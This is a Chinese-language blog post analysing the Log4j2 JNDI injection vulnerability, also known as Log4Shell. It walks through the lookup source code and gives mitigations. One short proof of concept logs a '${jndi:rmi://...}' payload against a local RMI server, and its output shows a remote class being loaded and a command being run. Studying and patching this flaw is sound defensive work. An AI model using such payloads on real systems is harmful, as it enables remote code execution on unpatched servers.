log4j2 JNDI注入原理
log4j2中的JNDI注入
log4j在 \(2.0\) - \(2.14.1\)版本中,存在jndi注入問題。
配置
首先使用maven導入log4j包並通過log4j2.xml進行日志服務配置。
- 導入maven
pom.xml配置如下(如果是spring、mybatis等框架,自帶並默認使用log4j):
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<log4j2.version>2.14.1</log4j2.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j2.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j2.version}</version>
</dependency>
</dependencies>
src/main/resources/log4j2.xml配置如下:
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="WARN" monitorInterval="30">
<appenders>
<!--這個輸出控制台的配置-->
<console name="Console" target="SYSTEM_OUT">
<!--輸出日志的格式-->
<PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/>
</console>
</appenders>
<!--然后定義logger,只有定義了logger並引入的appender,appender才會生效-->
<loggers>
<!--將日志輸出到控制台,日志等級為all-->
<root level="all">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>
Logger 打印方法漏洞
Logger 類負責接受字符串或Object參數,並進行日志打印。其中Logger類的日志打印方法支持使用 {} 作為占位符,進行格式化打印日志消息。
例:
Logger logger = LogManager.getLogger(UserService.class);
logger.info("{}","nishoushun@ustc.edu");
輸出:
[11:39:55:265] [INFO] - UserServiceTest.test(UserServiceTest.java:11) - nishoushun@ustc.edu
插件匹配
Logger的日志記錄方法中的 {} 占位符不僅可以被開發者的定義的變量進行替換,log4j2中還對 ${} 其做了進一步匹配與查詢處理:log4j2中可以通過 ${plugin:var} 的格式查詢相應的內置變量。
這個插件實際上是實現了 org.apache.logging.log4j.core.lookup.StrLookup 接口的一個實現類。
StrLookup 接口定義:
package org.apache.logging.log4j.core.lookup;
import org.apache.logging.log4j.core.LogEvent;
public interface StrLookup {
String CATEGORY = "Lookup";
String lookup(String key);
String lookup(LogEvent event, String key);
}
也就是說當你提供了 key 以及 event 之后,該實現類給你查詢之后的返回消息。
例:調用 java lookups 插件,查詢系統信息
Logger logger = LogManager.getLogger(UserService.class);
logger.info("${java:os}");
獲得輸出:
[14:56:28:771] [INFO] - service.login.LoginHandler.receiveUsername(LoginHandler.java:14) - username: Linux 5.15.2-2-MANJARO, architecture: amd64-64
會發現原本的格式{${java:os}}會被替換了相應的系統信息。
更多內置實現類以及配置請看:LOG4J Lookups 官方文檔
注入原理
查看文檔,發現log4j本身就支持 JNDI 方式查詢:

該功能可以通過系統屬性(System.getProperty)的 log4j2.enableJndiLookup 的值確定是否開啟。
PoC
首先開啟一個綁定了惡意類的JNDI服務,這里以 rmi 作為實現(開啟RMI注冊中心以及相關HTTP服務),之后調用測試方法:
@Test
public void test(){
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
Logger logger = LogManager.getLogger(UserService.class);
logger.info("{}","${jndi:rmi://127.0.0.1:1099/exec}");
}
由於本身依賴於 JNDI,所以log4j2漏洞對jdk版本要求較高,需要設置相應系統屬性或找的合適的本地類繞開限制。
輸出如下:
ExecutorFactory is constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: firefox
[12:24:02:194] [INFO] - UserServiceTest.test(UserServiceTest.java:13) - remote.exec.CmdExecutor@bef2d72
可以看出,服務端加載了username字符串指定的rmi服務中映射的的Class,並進行了實例化,最終以 exec.CmdExecutor#toString 替換了 ${} 中的值。

Lookups 過程分析
Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. Information on how to use Lookups in configuration files can be found in the Property Substitution section of the Configuration page.
${ 匹配
類 org.apache.logging.log4j.core.pattern.MessagePatternConverter # fomat 方法中有這么一段代碼:
// TODO can we optimize this?
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
即當參數傳入打印方法時,Log4j會對其做一個${匹配與字符替換。
如果在 開啟Lookups(noLookups 為 false) 功能的情況下,那么該類會查找傳入的字符串是否含有${,並使用 config.getStrSubstitutor().replace(event, value) 對其匹配到的 event 進行替換。
前綴、后綴與分隔符匹配
org.apache.logging.log4j.core.lookup.StrSubstitutor 類定義了格式化日志變量替換的相應字符默認值,以及匹配與替換方法,其中需要匹配的符號默認值如下:
public static final char DEFAULT_ESCAPE = '$';
public static final StrMatcher DEFAULT_PREFIX = StrMatcher.stringMatcher(DEFAULT_ESCAPE + "{");
public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.stringMatcher("}");
public static final String DEFAULT_VALUE_DELIMITER_STRING = ":-";
public static final StrMatcher DEFAULT_VALUE_DELIMITER = StrMatcher.stringMatcher(DEFAULT_VALUE_DELIMITER_STRING);
public static final String ESCAPE_DELIMITER_STRING = ":\\-";
可以看到觸發消息匹配的:
- 前綴:
${ - 后綴:
} - 變量分隔符:
:- - 轉義分隔符:
:\\-
注:默認匹配上述符號,可在配置文件中修改,詳情請看官方文檔。
在 this.substitute 方法中,可以看到代碼中放置一個雙層while循環(外層循環用於匹配前綴,內層循環用於向后匹配后綴;當匹配到正確后綴后,以后綴字符位置的下一個位置,繼續進行外層循環),使用該類定義的前后綴、以及變量分隔符,在傳入的日志字符串中進行匹配,並將匹配到的變量名放在傳入的參數:List priorVariables對象中。
查詢
當 substitude 方法找出一個匹配字串之后,調用 this.resolveVariable 方法:
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, inal int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
該方法用於找到一個適合傳入參數 event、variableName 至 lookup 方法對以匹配到的變量名進行查詢。
發現該類實際上是一個 org.apache.logging.log4j.core.lookup.Interpolator 類

Interpolator
實際上是一個代理類,其中定義了一些內置的 key:

發現其中就有
jndi。
其 lookup 方法中,首先會根據 : 進行分割,然后根據前面的部分找到對應的 StrLookup 接口的實現類,發現獲取的是一個 JndiLookup 類。
最終調用實現類的 lookup 方法,獲取查詢值,並對原有字符串進行替換:

Log4j2 中內置的實現
StrLookup接口的實現類如下:
其中以
JavaLookup實現類為例:@Plugin(name = "java", category = StrLookup.CATEGORY) public class JavaLookup extends AbstractLookup { private final SystemPropertiesLookup spLookup = new SystemPropertiesLookup(); /** 省略 **/ @Override public String lookup(final LogEvent event, final String key) { switch (key) { case "version": return "Java version " + getSystemProperty("java.version"); case "runtime": return getRuntime(); case "vm": return getVirtualMachine(); case "os": return getOperatingSystem(); case "hw": return getHardware(); case "locale": return getLocale(); default: throw new IllegalArgumentException(key); } } }該類中定義了以
java:var格式的查詢條件,即當我們在日志傳參中使用"${java:var}"形式的字符串后,會查詢到相應的值:
versionruntimevmoshwlocale- 其他:拋出一個非法參數異常
正好和官方文檔相對應:
這也就解釋了為什么
String username = "${java:os}"會被替換為getOperatingSystem()的返回的字符串。
JndiLookup
這次log4j2的漏洞關鍵在於 StrLookup 接口的一個實現類 org.apache.logging.log4j.core.lookup.JndiLookup:
package org.apache.logging.log4j.core.lookup;
/**
省略
*/
/**
* Looks up keys from JNDI resources.
*/
@Plugin(name = "jndi", category = StrLookup.CATEGORY)
public class JndiLookup extends AbstractLookup {
private static final Logger LOGGER = StatusLogger.getLogger();
private static final Marker LOOKUP = MarkerManager.getMarker("LOOKUP");
/** JNDI resource path prefix used in a J2EE container */
static final String CONTAINER_JNDI_RESOURCE_PATH_PREFIX = "java:comp/env/";
/**
* Looks up the value of the JNDI resource.
* @param event The current LogEvent (is ignored by this StrLookup).
* @param key the JNDI resource name to be looked up, may be null
* @return The String value of the JNDI resource.
*/
@Override
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
return Objects.toString(jndiManager.lookup(jndiName), null);
} catch (final NamingException e) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
return null;
}
}
/**
* Convert the given JNDI name to the actual JNDI name to use.
* Default implementation applies the "java:comp/env/" prefix
* unless other scheme like "java:" is given.
* @param jndiName The name of the resource.
* @return The fully qualified name to look up.
*/
private String convertJndiName(final String jndiName) {
if (!jndiName.startsWith(CONTAINER_JNDI_RESOURCE_PATH_PREFIX) && jndiName.indexOf(':') == -1) {
return CONTAINER_JNDI_RESOURCE_PATH_PREFIX + jndiName;
}
return jndiName;
}
}
如果用戶的輸入中包含 ${jndi:url} 匹配模式,並作為傳入 Logger 打印方法的參數,則查詢時會使用JndiLookup類作為 StrLookup 接口的實現,該類會調用 jndiManager.lookup(jndiName),從而獲取並加載遠程類。
在使用 JndiLookup # lookup 方法時,發現調用了 InitialContext # lookup 方法:

看到這估計了解JNDI注入的人就全懂了🧐。
防御
關於防御最好還是升級Log4j版本以及禁用lookup功能(如果非必需的話)。
版本升級
升級jdk版本
對於Oracle JDK \(11.0.1\)、\(8u191\)、\(7u201\)、\(6u211\) 或者更高版本的JDK來說,默認就已經禁用了 RMI Reference、LDAP Reference 的遠程加載,但是依然可以靠本地classpath中的 ObjectFactory 實現類去進行攻擊。
升級log4j版本
log4j 在 \(2.15.0\) 版本中默認關閉 lookup 功能。
禁用log4j的lookup功能
控制日志格式
對於 >=\(2.7\) 的版本,在 log4j 配置文件中對每一個日志輸出格式進行修改。在 %msg 占位符后面添加 {nolookups},這種方式的適用范圍比其他三種配置更廣。
例:在 log4j2.xml 中配置
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="WARN" monitorInterval="30">
<appenders>
<!--這個輸出控制台的配置-->
<console name="Console" target="SYSTEM_OUT">
<!--輸出日志的格式-->
<PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/>
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%p] - %l - %m%n - %msg{nolookups}%n"/>
</console>
</appenders>
<!--然后定義logger,只有定義了logger並引入的appender,appender才會生效-->
<loggers>
<!--將日志輸出到控制台,日志等級為all-->
<root level="all">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>
直接關閉 Lookup 功能
在配置文件 log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true 。
也可以通過設置JVM系統屬性,jvm 啟動參數中增加 -Dlog4j2.formatMsgNoLookups=true,或者
System.setProperty("log4j2.formatMsgNoLookups", "true");
注意:必須在 log4j 被初始化之前設置該系統屬性。


